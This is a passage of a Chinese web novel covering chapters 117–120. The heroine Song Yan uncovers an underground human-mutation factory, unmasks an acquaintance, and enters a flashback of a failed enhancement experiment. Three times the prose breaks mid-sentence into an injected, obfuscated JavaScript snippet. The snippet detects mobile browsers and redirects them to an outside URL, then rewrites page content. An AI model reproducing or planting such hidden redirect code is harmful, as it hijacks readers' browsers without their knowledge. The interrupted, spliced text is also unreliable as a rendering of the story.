中途打岔,她总算想起自己遗忘的事情是什么,问道:“你是怎么找到茶室来的?” 沈溯防跟踪意识很强,她上车后,他还几次确认过有没有尾随,并且在车上和她分享了一些防跟踪小窍门。 所以宋言在茶室发现男侍被掉包后,最好奇的不是姜夜白如何进来,而是他怎么找到这里。 姜夜白顺着宋言的话沉思片刻,指着袋子里皱巴巴的一团,回答:“因为你带着你的小猫。” “而小猫是我生的。” 他嘴角微微翘起,下了结论:“由此可见,血浓于水。” 宋言沉默片刻,不知道该先吐槽哪一点,只好道:“你来得正是时候,我那时想走,沈溯又似乎很想留我。” 姜夜白理解地点了点头,随意道:“这就是饭局的烦处了......你觉得沈溯这人怎么样?” 这下宋言答得很快。 她冷笑一声,评价道:“很爱装逼一男的。” 话说完,宋言才想起来,沈溯和姜夜白,有一点她都快要忘记的血缘关系,一时又有些犹豫:“这能说吗?他好像是你表哥。” “哦,那当我没有这个表哥吧。”姜夜白和他撇清关系,顺便添了把火,“他从小就是这样,一副看不起所有人的样子。” 宋言很少听到姜夜白谈论过去,其实就连卡巴拉的少年,梦中的小王子,和眼前这个活生生的青年,在她这里割裂得像三个人。一个人是怎么能分裂出三个截然不同的侧影的呢?她有些好奇。 于是宋言道:“你以前和他很熟?” 姜夜白漂亮的眉眼陡然一转,似笑非笑:“你好奇的是沈溯这人有什么弱点吧。” 宋言想的其实不是这个,但对方已经这么说了,她只好点头:“嗯,知己知彼,百战不殆。” 姜夜白回忆片刻,答:“我和他不熟,但他经常出入王宫嘛,总有碰面的机会。沈溯最在意的和最害怕的是同一个人,他的亲舅舅。” 宋言皱起眉:“沈桉?” 姜夜白点头:“他最开始想扮演的角色是温和有礼的太子,后来不知道哪里出了差错,就变成今天这个样子了。” 宋言微微点头,如果沈溯是这个性子,之前他的一系列行为就很好解释了,宋言腹诽,怪不得一副上班如出巡的样子,好像哪个大明星来军部拍一日vlog。 哦,人家不是大明星,人家是太子。 不过说到太子......宋言忽然想起来,沈溯是在假扮太子,而真正的太子,就在眼前。 宋言半天没说话,姜夜白打破沉默:“所以你要去哪蹲点?我提前说好,不是打听你隐私,只是为了如果你有麻烦好捞你,虽然你未必会有麻烦。” 姜夜白静默地等待她的答案。 良久,宋言终于回答。 “共.济会。” ...... ...... 一条僻静的小巷。 室内,一条光秃秃的蜥蜴趴在女人肩上,打了个哈欠:“玄凤,你说那人还会来吗?” 高处,摆着一座神像,浑身布满黑色裂纹,神像前插着几只香,没有点燃,因此,神像一只眼全闭,一只眼睛只睁开一半。 玄凤沉吟道:“昨日血肉侍者同我联络,的确是今天。” 虽然十三年前的计划里,她和血肉侍者间确实闹得不太好看,但后来军部掺和进来,两人只能一致对外。 毕竟从整体利益上看,他们才是一边的。 蜥蜴摇摇尾巴,道:“这个世界待了好久,我们什么时候转移?” 玄凤和其他族人把方舟计划定义为流亡,但蜥蜴小小的脑子装不下这些概念,它只知道他们要不断找寻新的栖息地。 没有止歇,没有尽头。 玄凤摇头:“不知道。” 蜥蜴奇了,玄凤还有不知道的时候?它想继续问,但抬头对上玄凤的眼,直觉遏止了它的求知欲。 只因为玄凤神情无比沉寂。 蜥蜴继承了侍者一部分记忆,却没有继承他的思想,大脑还没来得及被知识污染,因此还算好用。 它回忆起过去的事情,觉得玄凤臭脸理所应当。 当年他们还没踏上流亡之旅的时候,内部就分为生命和机械两派,一派推崇生物改造,一派推行机械飞升,末日降临,畸变种入侵,似乎只有进化才能保住性命。 而生命这条命途,最开始领袖并不是血肉侍者,也不是玄凤。 而是玄凤的制造者——一个爬两层楼就喘不上气的老头。 那会儿生命和机械两派的关系还没有后来那么糟糕,后来的第一机械师还是个自闭少年,血肉侍者也只是老头的一个下属。 玄凤就是两派融合的产物。 玄凤漫长的记忆里,还记得诞生那一刻的场景。 实验室,老头将织星亲手制作的机械核心和畸变核放入婴孩心脏,那时人死得很容易,更别说孩子了,老头总是有各种稀奇古怪的想法,有了便搜集在畸变种入侵中死去的婴儿,验证他的想法。 他想尝试生命和机械两条命途能不能融合,生命贵在微小却无穷,只要活着,便有无限可能。机械则恰好相反,一切在齿轮相嵌中注定,从此只剩下0和1的数据流轮转。 但生命这条命途也难走,大多数人达不到命途门槛,进化之门并不向他们打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481766|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,反而机械改造能提供一线生机。 玄凤就是这场尝试的产物。 再后来有了方舟计划,在逃亡思潮面前,融合两个命途的想法分外异想天开。 老头死前,握着玄凤的手,气若游丝:“我不知道我当初做得对不对......” 玄凤心脏的位置,机械核心和畸变核同时跳动,她不属于人,也算不上机械或者畸变种,从诞生的那一刻起,她就跟在老头左右,是沉默的侍从,也是老头长久的观察对象。 老头每说一句话,就要喘一口气:“小凤啊,你要记得......” 玄凤点头,声音平板:“老师,我会确保方舟计划的实施,人类将被带到新家园。” 老头却望着她笑了,长长叹了口气,道:“我不是要说这些,小凤啊,我要死啦,我为人类忙活了一辈子,眼下最后一点时间,我得管管你。” 玄凤默然,听老头说话。 “我从生到死,自问不曾对不起谁,唯独觉得对你有亏欠。” 老头道:“当年我一时兴起,想融合两个命途,取彼之长,补我之短,你就是这个尝试的产物。但我思来想去,实在不知道这样做对不对。” “我当初的设想是,人类将拥有一具融合机械和生命优点的新身体,这两个命途都是为了进化,前者门槛太高,后者太死板,我想走出一条新的路。” “于是我造出你,你诞生的那一天,我以为我创造了新生命,直到我发现你身上致命的弱点。” 老头脸色慢慢红润起来,笑眯眯地看着她:“你知道是什么吗?” 玄凤摇头:“属下不知。” 老头早猜到会是这个回答,干脆直接给出答案:“是感情。” 他道:“一个人对万事万物都没有情感,也就意味着他没有丝毫敬畏之心。” 玄凤垂下眼帘。 老头道:“这意味着你还不是人。” 玄凤回答:“老师,我本来就不是人,我是您的造物。” 老头却摇了摇头:“可我最开始是奔着造人去的......你这样回答,让我好没有面子。” 他又叹了口气,道:“算了,人是什么呢,我也不清楚,总归我时日无多,也没办法再看着你。你把我那些资料都销了吧,我不想他们再造出一个你来。” 玄凤按他说的,从保险箱里取出一箩筐资料和u盘,一件一件丢进粉碎机。 老头看着她做这件事,目光安静温和,直到最后一份文件被彻底粉碎才收回目光。 他一生无妻无子,此刻看着自己的造物,恍惚升起一点错觉,如果在平行时空,他没有选择这条路,也许也会有这么大一个孙女,说话木得能气死人,但是又不好苛责。 想到这里,老头心里那点担忧烟消云散。 相逢即是有缘,即使他创造了她,玄凤未来的路仍是她自己去走。 不论未来如何,总归他是见不到了。 但或许玄凤、织星还可以见到。 玄凤做完这些事,回到老头身边,发现老头已经没气了。 她怔愣片刻,后知后觉,老头死了。 人寿终有尽时,她的创造者不是按照程序运行的机器,机器坏了尚且可以替换零件,人坏了,那口热气也就散了。 玄凤明白生死,却第一次直面生死,心里忽地有些空。 一只肉乎乎的蜥蜴落在玄凤肩头,背后,传来青年的声音。 “玄凤,老师还好吗?” 没有回答。 青年只好自己来看。 他肩头也趴着一只肉乎乎的蜥蜴,介绍道:“我的新研究,可以传递消息,收集数据......老师这是睡着了?” 回答他的是玄凤平板的声音。 “老师死了。” 118. 您即将通往结局(六) 118 * 玄凤从记忆中缓缓抽身。 “方舟计划”是老头最后的心血,而她被指定为计划的执行者。 她这样特殊的存在,任是血肉侍者后来费尽心思研究,也只造出了许多赝品。 是以血肉侍者众望所归继承老头衣钵后,也未曾提出方舟计划换人执行。 因为玄凤的确是最好的执行者。 她没有思想,没有感情,因此计划会遵照最初的设想进行,同时她又相当强大,这具媾.合两个命途的造物,会是一件完美的工具。 但对于血肉侍者来说,这恰恰是她不完美的地方。 玄凤对血肉侍者那些小心思没兴趣,她只有一个任务,就是不惜一切代价,推进方舟计划。 也许方舟上的族人会越来越少,方舟本身也会不断损耗,但在它没有搁浅前,玄凤就会一直为它掌舵。 但他们在这个世界确实已经待得太久,如果不是十三年前织星机甲里,那枚碎片出了问题,军部又来得太突然,玄凤早已带方舟驶离。 有的海域看着风平浪静,晴空万里,底下却暗礁无数。 玄凤不想在这里触礁。 所以前日血肉侍者联系她,说他找到了织星当初留下来的碎片,玄凤是有些惊讶的。 不是惊讶他能找到,而是惊讶他愿意交给她,毕竟方舟计划只是老头的坚持,对于血肉侍者来说,并无利害。 但玄凤已经在这里停留得太久,即使心中觉得不妥,但为了可能的碎片,她仍然在此等待。 门外传来轻微的脚步声。 玄凤和血肉侍者失去联系太久,并不能辨音识人。 于是她道:“请进。” 门被推开。 进来的是一个女人。傍晚,她身后迷蒙一片,整个人的轮廓晕染在快要死去的黄昏里。 玄凤眯起眼看她,心中警觉,她不知道这些年血肉侍者是不是又换了具女人的身体。 对方看着她的脸,声音有些哑。 “......陈娟。” 玄凤没听说过这个名字,这条巷子地处偏僻,但也不是没有人来,她迟疑道:“女士,你找错人了。” 但话一出口,她登时想起了这个名字的出处。 她见过这个名字的......在十三年前寻找寄生者的夜里。 玄凤脑中闪过一丝不妙,几乎是刚刚想起,下一瞬,危险预感启动,她侧身躲过,原来的位置已经多了一道鞭痕。 根本看不清对方如何动作,软鞭如游龙,一鞭下去,桌椅四分五裂。 原本四分五裂的应该是她。 玄凤心里一惊,该等的人没来,不该来的人却来了,她顾不上分辨来者是谁,旋身闪了出去。 宋言找到这里时,恰好看到一片黑影从屋檐飘了出去。 她来不及多想,飞身追上那片黑影,底下另一个人也追了上来,匆忙之下,宋言没来得及看清另外两人的面容,只紧紧跟在那人身后,七弯八拐,宋言来到一片烟柳繁华之地。 那道黑影往人堆里一蹿,如水消失在水中。* 宋言停下脚步。 另外一人毫不气馁,径直跟着黑影钻了进去,不见声息。 宋言心念一转,干脆跟着人潮走进最近的乐坊,人多口杂,或许能听到些有用的消息。 ...... 暮色垂落,舞肆乐坊坐落在河边,水面亮起一串串彩灯,秋水长天一片映红。 最大的乐坊叫胭脂坊,歌伎起家,后来也兼了舞肆,夜夜歌舞升平,是许多纨绔子弟的去处。 也有人借歌楼掩护,做其他生意。 胭脂坊三楼。 胖墩今日来得有些早,他沿着后楼隐梯上来,身上肥肉一颤一颤,爬上三楼时已经大汗淋漓。 三楼雅座,厚厚的帷幕垂落,里面的人看得到外面,外面却看不清里头。 男人坐在栏杆边,脸上没有任何表情,沉静的灰色眼眸如一潭死水,映出底下灯火斑斓。 胖墩撩起帘子进来,在他对面坐下,开始汇报:“青木交给千面的任务还是之前那个,调查苏氏那个养女,我跟着他,也没见他有其他动作。” 胖墩平板地汇报完,又增补道:“长官,我觉得没必要再盯着他吧,鬼面很明显把他边缘化了。” 伊莱收回目光,语气平静,一针见血:“你担心我对他不利。” 胖墩连连否定:“怎么可能......我还是清楚我是谁的......我只是觉得一直盯着他太浪费资源,他一直都没做什么,和青木之间也淡淡的。” 伊莱定定望着他,语气不明:“最好是你说的这样,你应该没有忘记你这条命是怎么来的。” 胖墩低下头,不说话了。 十三年前,他和哥哥被抓入刑狱司,后来又入地下斗兽场,那不是人呆的地方,白天和人打架,晚上和畸变种决斗,他们是一节节电池,电量耗尽后的结局是一匹白布扔到郊外,任野兽分食。 那时候胖墩是个瘦墩子,哥哥是个高挑的竹竿,胖墩一点一点攒着钱,期待一个虚无缥缈的未来——也许他可以把两个人都赎出去。 但他哥想出了一个更可行的主意。 准确地说,这主意是他“找到”的。 胖墩被送进王宫前一夜,才见到这个男人,他那时比现在更年轻,眼睛不像沉静的海,倒像迷蒙的雾。 胖墩觉得是毒雾。 他和他哥的计划是,组织需要一部分人打入帝都内部,钉子一样嵌入这位专制霸主的心脏。 这位卧底需要长久蛰伏,以待未来老虎虚弱时给它狠狠一棒。 如此,其他安全区才有脱离这只老虎掌控的机会。 胖墩听着他们描绘的未来,有些意动。如果真有这样的未来,没有刑狱司,没有斗兽场,不再用一堵墙隔开权贵和平民,那会是个怎样的未来啊。 应当不会比现在更差了。 是以,即使哥哥在他眼前被那位将军宣判死刑,他也只落了一滴眼泪。 某种意义上,他哥哥是为他,为他们想要的未来而死的。 之后胖墩被那位小殿下留下性命,顺利打入王宫内部,这在他们计划之中,虽然代价比预想的大一些。 可是什么事没有代价呢? 胖墩这样说服自己。 伊莱缓缓道:“你哥哥的牺牲和你的付出是有意义的,我们将迎来由我们亲手创造的春天。” 春天吗? 胖墩下意识望向窗外,花叶零落,秋风渐起,叶子干成卷儿,裹着面炸一炸,金黄酥脆。 他沉默片刻,道:“是,伊莱长官。” ...... 宋言来到胭脂坊后楼,伸出手,拍掉脸上身上的香粉。 香味馥郁甜腻,宋言在一楼混了一圈,消息还没打听到,先差点被腻人的香味熏死了。 也不知道卖香粉的人怎么想的,制出来的香还没家里的橙花沐浴露好闻。 但此行并不算全无收获。 先前的黑影匿入人潮,另一个人追了过去,宋言却就此停步,不仅是因为她觉得这种地方追人很难,还因为她闻到了熟悉的味道。 ......是蛇肉的味道。 如果之前蒋府地下室的皮蜕像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495499|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣卤,现在宋言闻到的味道,就浓郁得像抓了一麻袋乌梢蛇,炖了三个时辰,从汤汁里散发出的鲜香味。 一地下室畸变种,才养出一条皮蜕,气味浓郁成这样,宋言不敢想该是养了多少畸变种。 又会有多少只人面蛛在暗处潜伏。 宋言深吸一口气,往气味愈加浓郁的方向走去。 胭脂坊前楼花团锦簇,河面灯红一片,后楼却冷冷清清,鲜有人来。 宋言能进来,还是因为今日前楼似乎在选美,人流熙熙嚷嚷,管不过来。 宋言顺势蹿进了后楼。 后楼前面一片是姑娘们住的地方,但再往后走,后面一片就被一道高大的围墙隔开了。 围墙外拦了电网,一只巴掌大的蛾子撞上去,顿时传来蛋白质被烧焦的味道。 宋言翻过这道电网。 手掌撑着身体落地的瞬间,她抬起头,登时睁大了眼睛。 一个裹着黑袍的影子,在她眼前一闪,旋即钻入了一条管道里。 那管道大概半人大小,宋言比了比,觉得那道黑影如果能钻进去,要么是她眼睛出了问题,要么是里面别有洞天。 宋言更愿意相信后者。 权衡一番后,她也钻了进去。 ...... 管道像怪兽的肠道,前头很窄,后面逐渐开阔起来,宋言摸了一把管道壁,一手湿滑。 宋言不太想知道这些东西是什么。 于是她继续往前走,起先只能猫着腰慢慢挪,后面逐渐能站起身,速度也快起来。 越往里走,越心惊。 从管道入口走到这里,直径越来越大,宋言有了空间,便打开手机照明,迎面扑来血肉腐烂的气息,手电筒一开,宋言看清了这气味是从哪里发出的. ......是管壁。 管壁镶嵌着无数尖锐的利齿,如果通电,里面的生物会在瞬间绞成肉泥,宋言下意识摸了摸自己手臂,感觉四肢还在自己身上,又松了口气。 沿途走来,有的地方装有滤网,但都被腐蚀出一人高的洞,宋言心中一动,想到这应该是前面那个黑影做的。 黑影自己逃来这里,这应该是他的地盘,为什么还要强行破坏进入? 而且洞比自己还矮一些,宋言猫着腰过去,觉得这黑影大概并不高,这个身量,要不是小姑娘,要不是个比较矮的男人。 她会是陈娟吗? 宋言仓促之下,没太看清另外两个人的脸,但她知道其中有一个一定是陈娟。 但或许她已经不叫陈娟了,宋言想起梦里看到的那张照片,是全家福,她只匆匆一瞥,脑海中便印下了那张脸。 她没有想到会在现实里再见到这张脸。回忆起来,那个梦里隔着一面墙,一身黑衣同她对峙的女人,和那天晚上看到的陈娟......几乎是一个身形。 宋言止住自己的联想。 管道走到尽头,宋言从里面出来,脚踩上坚实的地面。 这是个四四方方的库房,很大,无数根履带从四面八方与管道联通,履带已经停止运转,上面是成吨的畸变种尸骸。 宋言屏息近看,觉得也有可能不是畸变种,而是改造失败的人类。 比如她面前这一具尸骸,还顶着人类女性的头颅,瞳仁上翻,一眼望去,整个眼眶都是白色。 她身上还扎着几根针剂,管内药剂空空如也,全部没入女人层层叠叠的皮肉。 宋言离开蒋府后长久萦绕在心头的问题,在这一刻得到解答。 如果要利用畸变种进行人体改造,那么被改造的人在哪里? 现在她得到了答案。 119. 您即将通往结局(七) 119 * 此时再回头看宽阔的管道,宋言忽然明白了为什么管道内要装齿轮和滤网,为什么进入时窄小,后面越来越宽阔。 这是处理废品的通道。 经过齿轮和滤网处理后的尸骸,和下水道的潲水没有区别,可以随管道排出,混在排污系统里,倾泻进任意一条河流。 宋言沿着履带往前走,一路上不止有改造失败的尸骸,还有风干后的皮蜕,皱巴巴的,像人干。 不同于蒋府那股辣卤的香味,这几具皮蜕闻起来怪怪的,如果让宋言形容的话,她觉得像药水处理过的肉,泛着化工原料的臭味。 她想了想,问系统:“你那些蘑菇怎么不出来了,好大一桌菜。” 系统沉默片刻,捏着鼻子道:“你真是饿了,这也配叫菜?要是在卡巴拉,这东西,狗都不吃。” 宋言不耻下问:“那你告诉我,这为什么不能叫菜,你的蘑菇当初在地下室吃皮蜕吃得不是很开心吗?” 系统不假思索:“因为那是天然食品,这是异化髓催出来的,诶,这里为什么会有异化髓?” 异化髓,生长在神树周边,卡巴拉其他地方都很难找见这东西,它的用处只有一个,加快事物新陈代谢速度,宋言在那段记忆中见过它,是因为她看到少年拿它硬生生缩短了自己的换鳞期。 系统沉吟道:“好奇怪,卡巴拉的东西,为什么会出现在小世界,难道他们的科技已经发展到这个地步,能造出和异化髓相同功效的东西了?” 宋言摇头道:“现在最重要的恐怕不是它怎么来的,而是为什么要用到它。” 先前在蒋府发现有人暗中进行畸变改造,可以归因为他们想私下探索培育异能者的方法,官方的途径被禁止,总免不了有人私下动作。 但管道后的世界,简直是一个大型改造基地,无数畸变种和人体尸骸被堆积于此,好几天没清理,已经泛出腐烂的臭味。 宋言心里泛起一丝寒意。 既为这些不知名的尸骸,也为背后之人超乎常人的冷酷。 但与此同时,另一个问题又浮上宋言心头,畸变改造搞出这么多废品,是要干什么? 她在履带尽头得到了答案。 履带尽头,三根圆形玻璃柱依次排列,里面盛着淡蓝色的透明液体,液体里,是三只形貌迥异的怪物。 怪物,是人在面对难以名状的生物时,脱口而出的称谓。 液体顶端飘着白色浮沫,看起来很久没有清理过,里面装盛的生物微弱地抖动,宋言很怀疑它们是否还活着。 第一根玻璃柱里,体表覆鳞的黑色长条生物尾巴蜷成一团,其余部位被金属装置固定在玻璃壁上,像展示台上悬挂的模型。 它长得很像蜥蜴,但蜥蜴身体两侧没有如此巨大的骨翼,通体漆黑,未展开时已占据玻璃柱一半体积,遑论展开时会如何遮天蔽日。 第二根玻璃柱内漂着一朵莲花,花瓣褪成淡淡的粉色,比起旁边的长条蜥蜴,它显得过分迷你,但它的根须却足足有几十米长,虬折反复,塞满整个蓝色的玻璃柱。那团根须被金属网禁锢住,表面又长出细小的根须,从网缝间钻出去,击叩玻璃容器。 玻璃容器某些角落,出现细密的裂纹。 一根细小的根须在宋言面前抖动了一下,旋即垂落。 而第三根玻璃柱内,空空如也。 像是还没有找到合适的藏品。 三根巨大的玻璃柱矗立在库房一角,和其他畸变种尸骸共处一室,空间太大,所以宋言刚从管道出来时,并没有被这里的玻璃容器吸引。 但一路走来,这恐怕是整个库房除她之外,唯二会喘气的生物。 宋言扫了一眼不远处堆积如山的尸骸,心里隐隐冒出一个猜想——那些尸骸和皮蜕,都是为了造出这两个被禁锢的怪物。 用异化髓加快培育周期,畸变核和人体融合后,有的产生排异反应死去;有的顺利融合,但畸变方向不对。二者都被背后之人舍弃,丢在履带上,原本是要送入管道搅成碎片的,但不知为什么,履带迟迟未启动。 宋言想再往里走,她鼻尖闻到的那股浓郁的蛇肉气味还没找到,挪动脚步,脚下却传来“哐当”一声响。 是一个空瓶子。 她捡起空瓶,这瓶子和R寄给她那一箱基因药一样,但和军部发的规格不同,宋言先前没在意,以为只是不同批次。 她捡起的空瓶表面也印刷着“生物基因药剂”的字样,右下角有一行小小的黑体字。 ——研究院制 往前再走几步,她又捡到了几个空瓶子,还有一些散落的针剂,和之前那个女人身上扎的一样,针管里,填充着淡绿色液体,从内门滚落出来,还有几只被鞋子碾碎。 地上因此留下一串淡绿色的脚印,宋言估计,在37码到38码之间。 宋言沉吟道:“这么多畸变种,肯定需要极其强大的人力物力,我怀疑之前军部从各个府邸搜出来的东西只是冰山一角,这里才是水面之下。” 她仰头望着巨大的玻璃容器,思索道:“你之前说那些强悍的神话生物是锚点,那么这些东西呢?” 系统很久没有说话,此时宋言问起来,它声音有些干哑:“......是人造锚点。” 宋言皱眉道:“秩序之前不是说,我的秽只能借助那些和我的伴生物有关系的锚点,降临吗?” 系统点头:“所以我刚才去问祂了啊。” 宋言一愣,敢情系统还挺有自知之明,知道自己菜,于是去摇人了。 系统缓缓道:“这个吧,事情有点复杂,其实说起来也不复杂,就是秩序也不知道这件事,祂并不能直接监视这个小世界,所以我刚和祂汇报你的发现后,祂让我等一等。” 宋言眉头一拧,半晌才道:“等出来的结果是什么?” 系统摇头道:“不知道,可能要几个工作日吧。” 宋言眉头皱得更紧了。 系统劝慰她:“你也别着急,你的秽只是困兽之斗罢了,祂在上一个世界消耗了太多能量,现在还没恢复过来,即使祂背地里搞小花样,胳膊也掰不过大腿。” 这也是秩序并不着急的原因,上个世界,也就是织星的世界,虽然生命和机械打得不可开交,最后还一起回到原始复活点,但另一个毁灭也没好到哪里去,不仅没收割到能量,还被生命和机械一人扇了一耳光。 宋言却微微摇头,轻声道:“如果它已经找到了别的办法呢?” 敌人强大并不可怕,怕的是两边信息根本不对称。 系统没有想到这一层,怔愣道:“......啊?” 宋言不再说话,继续往里走。 她将一个空瓶塞进上衣口袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508427|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,借此记住自己的猜想,R给她寄来的药,是拾荒者从研究院抢来的,但研究院对外宣称,这批药被共.济会抢走,完全不提拾荒者的名字。 但现在看来,这批药真正的用途,是为地下改造工厂提供催化剂。 研究院借共.济会洗白这批药,并且把共.济会推出来当挡箭牌,目的是为了掩护地下进行的实验。 可是研究院怎么能断定,共.济会一定不会被查到呢? 除非背后之人对共.济会有足够的信心,而且很有可能,研究院和共.济会背后是同一个人。 宋言突然顿住脚步。 库房后是一道金属门,门闩被腐蚀掉落,宋言因此能顺利进入。 门后,一个黑袍人正弯腰捡拾针筒,他手里已经捡了五六支,脚边还散落着几支。 宋言停住脚步的一刹那,他似有所感,忽然抬起头,定定望向金属门的方向。 他看见了宋言。 双目相接的瞬间,黑衣人掉头就跑,宋言眼前只留下一段残影,几乎看不清他逃跑的方向。 宋言只好提起脚步去追。 金属门后是一段长廊,长廊左右开着许多岔口,那人速度飞快,又惯会躲藏,宋言几乎是凭着一股直觉还有鞋底印记才勉强跟上。 宋言一边追,一边心里想这到底是谁。陈娟吗?陈娟为什么要捡地上的针筒,她该是这里的主人。另一个追陈娟的人吗?可如果是另一个人,为什么见自己就跑。 黑衣人几乎是看到自己的一瞬间就拔足狂奔......难道他们是认识的? 而且对方一定很怕自己的身份被发现。 宋言心中一瞬闪过无数个念头,脚下却不慢分毫,甚至加快速度,抢在那人之前拦住了另一道金属门。 宋言靠着那扇门,黑衣人见她已拦在自己前面,转身欲往回走,却发现宋言连退路都给堵死了,门上落了把锁,回头,钥匙正在宋言指尖晃荡。 黑衣人又从怀中掏出一瓶褐色液体,打算强行破锁。 却听到宋言道:“你这是何必呢?我有个朋友很擅长用毒,我把这把锁拿回去请她一看,就明了你是谁了。再不济,你的鞋码和身形,我对比着天眼查,总能查出来的。” 黑衣人身形僵了一僵,宋言轻轻叹了口气,道:“所以你到底是谁,老实说,我很佩服你的胆气,要不是你我还找不到这里,你算是帮了我的忙,我未必会告发你。” “而且,难道我看上去很像什么正人君子吗?一看到有人钻地下管道就忍不住举报的那种。” 黑衣人似被说动,缓缓转身。 他全身全脸都被黑布遮盖,宋言定下神一瞧,发现这人骨架偏小,胸前有不明显的隆起,应当是个女子。 黑衣人缓缓开口,声音像被沙砾磨过一般:“你确定不将此事说出去?” 宋言连连点头:“天知地知,你知我知,说出去对我有什么好处?” “那好,我告诉你我是谁,你当今日没有见过我。”黑衣人抬手揭下脸上的黑布。黑袍扬起,露出一截皓白细腻的肌肤。 宋言缓缓睁大眼。 黑布下,女孩圆脸杏眼,脸上没有熟悉的甜腻笑容,只有无边冷寂。 宋言久久说不出话,但又觉得这答案在情理之中,她张开嘴,嘴里糖豆般蹦出几个字。 “苏妮?怎么是你?!” 120. 您即将通往结局(八) 120 * 宋言的话在库房内回荡,透出隐隐约约的回声。 苏妮表情没有丝毫波动,只轻轻点了下头:“是我,现在你知道我是谁了,可以让开一下吗。” 宋言身后是金属门,前一道金属门后,是布局复杂的各种功能区,宋言身后这扇门,也许会打开另一个区域。 宋言盯着苏妮手里的褐色药瓶,道:“如果我不让开,这瓶药是不是就该泼我身上了。” 苏妮默然,片刻后,宋言摊手走到一边,喟叹道:“我身边还真是卧虎藏龙,你放心,我不会把这事说出去,大家相逢一场,没必要探究彼此的底细。” 金属门锁很快腐蚀脱落。 苏妮点头:“最好如此,我今日也当没见过你。” 两人对视一眼,旋即在门后分开。 分开前,宋言忍不住问道:“你过来时,有没有看到一个黑衣女人,还有一个腰上系着根鞭子的人?” 苏妮摇头。 宋言只好就此作罢,看来那两个人并未躲进地下,现在可能还在地上追逐。 这是否是先前库房里,履带没有启动的原因? 宋言随手推开一扇门,边想。 门后,陈列着数个透明的玻璃容器,容器内漂浮着淡绿色透明液体,数个人类浸泡其中。 这些人身上插着密密麻麻的金属软管,由贴在皮肤表面的金属圆片连接,这些人的畸变程度并不严重,只体表长出了一些额外的器官,比如额头多了一只眼睛,手背多了一张嘴。 最中央玻璃容器中的女孩左胸,多了一团粉红色蠕动的器官,与其他人身上的金属软管相连,宋言凑近一看,这是团粉嫩的脑花。 脑花一起一伏地翕合,和金属管相连的位置,时而迸出淡蓝色的火花,宋言看了一会,耳边忽然传来一道女声,“我的脑子好看吗?” 玻璃容器中的女孩不知何时已经睁开了眼。 宋言看着她,诚实道:“感觉还挺新鲜的。” 女孩没觉得这回答有什么不对,她掀开玻璃盖,直愣愣从液体里坐起来,点头:“那是因为不新鲜的已经死了,你从外头进来,应该看见了许多。” 金属管随着她的动作摇晃,几根管子掉进淡绿色的液体里,往外冒着气泡。 那几个断开联系的容器内,人体躯干瞬间膨胀,密密麻麻的肉芽撑开表皮,肌肉充血胀大,眨眼间便填满了整个容器。 宋言目不转睛地盯着隔壁几个容器,外表完整正常的躯干一瞬间变得不人不鬼,她摸了摸下巴,心想这女孩应该能操控人体的畸变。 女孩望着她道:“我能读到你的想法哦,你现在在想,我是个怪物,对不对?” 宋言下意识想摇头否认,女孩却径直说了下去:“你猜对了,我确实是怪物。哎呀,可是十三年前,你们还叫我少将呢。” ......又是这个时间。 宋言喉咙有点干,问道:“十三年前到底发生了什么,这个地下工厂那时候就有了?” 女孩大半个身子沉在玻璃箱里,就像是坐在浴缸里一般,她看上去二十多岁,眼里一派天真。 不是年轻女孩的天真烂漫,是孩童般的天真无邪。 好像什么都不太懂,也不在意一样,宋言问什么,她就答什么。 女孩黑白分明的眼睛转了转,竟然直接抓住宋言的手,靠向自己左胸。 宋言猝不及防碰到那团脑花,手心一片湿软,耳边听到一声低喃。 “你想知道的话,自己来看吧。” ...... 视野陡然变亮,惨白的光线刺入宋言眼中,她阖上眼,感觉自己应该是躺在手术台上。 或者说,是“她”正躺在手术台上。 “4号实验体,二轮改造通过,畸变程度轻微,可投入使用。”一侧的研究员道。 固定宋言四肢的束缚带被解下,她被牵引着走出改造室,眼睛尚未脱离应激状态,宋言也由着那人牵引,被带往一间观察室。 一路上,她听到不间断的议论声。 “前线连连溃败,听说都要打到帝都了,这要是打进来了,我们怎么办呢?”一个女声道。 另一人安抚她:“这一批异能改造的实验体不是要送往前线了吗,说不定到时候,那些畸变种就被打回去了。总归帝都还有陛下,还有议会长,总会没事的。” 那道女声听起来并没有完全相信,但也只好道:“但愿如此吧。” 宋言收回耳朵,心想这该是十三年前的记忆了,不过4号实验体......好熟悉的名字。 门被打开,宋言终于适应外界的光线,慢慢睁开眼,室内装饰温馨,空气里飘着淡淡的橙花香气,门上挂着名牌。 宋言抬头看名牌,听到牵引她的研究员道:“你的状态已经很稳定,我们明天会送你去前线,帮助抗击畸变种,你有意见吗?” 宋言看着这个白发苍苍的研究员,缓缓摇头。 